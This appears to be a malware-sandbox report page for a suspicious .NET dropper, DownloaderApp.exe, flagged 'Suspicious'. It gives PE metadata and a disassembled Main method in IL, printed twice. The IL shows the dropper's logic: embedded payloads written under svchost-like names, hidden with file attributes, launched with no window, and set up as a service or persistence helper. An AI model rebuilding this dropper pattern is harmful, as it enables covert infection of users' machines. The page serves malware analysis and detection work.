Suspicious
Suspect

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Low
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NETUPolyX 0.3 -> delikon
885111915715be36ce385456d8d9b6af
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
EH29P9S25ccJ.7eO6N.hj3Sx
EH29P9S25ccJ.ptBmrF.TWJdZ
EH29P9S25ccJ.ZSqeBo.ekq0
Structure
DosHeader
PE Header
Optional Header (x64)
Section Headers
.rsrc
.idata
gwwvhbie
cgrsyzpl
.pdata
Resources
RT_MANIFEST
ID:0001
ID:1033
EH29P9S25ccJ.lAO0qT.ugQ
Name Value
Info
PE Detect: PeReader OK (file layout)
Info 
PDB Path: C:\10\boot\Downloader_win\DownloaderApp\DownloaderApp\obj\Release\DownloaderApp.pdb
Module Name
DownloaderApp.exe
Full Name
DownloaderApp.exe
EntryPoint
System.Void A.B::Main(System.String[])
Scope Name
DownloaderApp.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
DownloaderApp
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
31
Main Method
System.Void A.B::Main(System.String[])
Main IL Instruction Count
153
Main IL 
call System.String System.IO.Path::GetTempPath()
ldstr svchostmanager.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.0 <null>
call System.String System.IO.Path::GetTempPath()
ldstr svchostam.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.1 <null>
ldstr EH29P9S25ccJ.ZSqeBo.ekq0
ldloc.0 <null>
call System.Void A.B::F(System.String,System.String)
ldloc.0 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldstr EH29P9S25ccJ.lAO0qT.ugQ
ldloc.1 <null>
call System.Void A.B::F(System.String,System.String)
ldloc.1 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
leave.s IL_0049: call System.Boolean A.B::C()
pop <null>
leave.s IL_0049: call System.Boolean A.B::C()
call System.Boolean A.B::C()
stloc.2 <null>
ldloc.0 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_007E: leave.s IL_0083
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave.s IL_0083: ldc.i4 3000
pop <null>
leave.s IL_0083: ldc.i4 3000
ldc.i4 3000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_00BC: leave.s IL_00C1
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave.s IL_00C1: ldloc.2
pop <null>
leave.s IL_00C1: ldloc.2
ldloc.2 <null>
brtrue.s IL_00D4: call System.Boolean System.Environment::get_UserInteractive()
call System.Void A.B::D()
leave IL_01BD: ret
pop <null>
leave IL_01BD: ret
call System.Boolean System.Environment::get_UserInteractive()
brtrue.s IL_00E6: nop
newobj System.Void A.E::.ctor()
call System.Void System.ServiceProcess.ServiceBase::Run(System.ServiceProcess.ServiceBase)
ret <null>
nop <null>
ldstr svchosthelper.exe
stloc.3 <null>
ldstr systemhelper.exe
stloc.s V_4
ldstr WindowsLogsHelper
stloc.s V_5
ldc.i4.s 36
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
dup <null>
ldloc.3 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_6
ldloc.s V_4
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_7
ldstr EH29P9S25ccJ.7eO6N.hj3Sx
ldloc.s V_6
call System.Void A.B::F(System.String,System.String)
ldstr EH29P9S25ccJ.ptBmrF.TWJdZ
ldloc.s V_7
call System.Void A.B::F(System.String,System.String)
ldloc.s V_6
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldloc.s V_7
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
call System.Void A.B::H()
ldloc.s V_6
ldloc.s V_5
call System.Void A.B::I(System.String,System.String)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_7
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.r8 3
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
call System.Boolean A.B::L(System.TimeSpan)
brfalse.s IL_01B8: leave.s IL_01BD
ldloc.s V_6
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_01B8: leave.s IL_01BD
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_6
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave.s IL_01BD: ret
pop <null>
leave.s IL_01BD: ret
ret <null>
Module Name
DownloaderApp.exe
Full Name
DownloaderApp.exe
EntryPoint
System.Void A.B::Main(System.String[])
Scope Name
DownloaderApp.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
DownloaderApp
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
31
Main Method
System.Void A.B::Main(System.String[])
Main IL Instruction Count
153
Main IL 
call System.String System.IO.Path::GetTempPath()
ldstr svchostmanager.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.0 <null>
call System.String System.IO.Path::GetTempPath()
ldstr svchostam.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.1 <null>
ldstr EH29P9S25ccJ.ZSqeBo.ekq0
ldloc.0 <null>
call System.Void A.B::F(System.String,System.String)
ldloc.0 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldstr EH29P9S25ccJ.lAO0qT.ugQ
ldloc.1 <null>
call System.Void A.B::F(System.String,System.String)
ldloc.1 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
leave.s IL_0049: call System.Boolean A.B::C()
pop <null>
leave.s IL_0049: call System.Boolean A.B::C()
call System.Boolean A.B::C()
stloc.2 <null>
ldloc.0 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_007E: leave.s IL_0083
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave.s IL_0083: ldc.i4 3000
pop <null>
leave.s IL_0083: ldc.i4 3000
ldc.i4 3000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_00BC: leave.s IL_00C1
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave.s IL_00C1: ldloc.2
pop <null>
leave.s IL_00C1: ldloc.2
ldloc.2 <null>
brtrue.s IL_00D4: call System.Boolean System.Environment::get_UserInteractive()
call System.Void A.B::D()
leave IL_01BD: ret
pop <null>
leave IL_01BD: ret
call System.Boolean System.Environment::get_UserInteractive()
brtrue.s IL_00E6: nop
newobj System.Void A.E::.ctor()
call System.Void System.ServiceProcess.ServiceBase::Run(System.ServiceProcess.ServiceBase)
ret <null>
nop <null>
ldstr svchosthelper.exe
stloc.3 <null>
ldstr systemhelper.exe
stloc.s V_4
ldstr WindowsLogsHelper
stloc.s V_5
ldc.i4.s 36
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
dup <null>
ldloc.3 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_6
ldloc.s V_4
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_7
ldstr EH29P9S25ccJ.7eO6N.hj3Sx
ldloc.s V_6
call System.Void A.B::F(System.String,System.String)
ldstr EH29P9S25ccJ.ptBmrF.TWJdZ
ldloc.s V_7
call System.Void A.B::F(System.String,System.String)
ldloc.s V_6
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldloc.s V_7
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
call System.Void A.B::H()
ldloc.s V_6
ldloc.s V_5
call System.Void A.B::I(System.String,System.String)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_7
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.r8 3
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
call System.Boolean A.B::L(System.TimeSpan)
brfalse.s IL_01B8: leave.s IL_01BD
ldloc.s V_6
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_01B8: leave.s IL_01BD
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_6
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave.s IL_01BD: ret
pop <null>
leave.s IL_01BD: ret
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙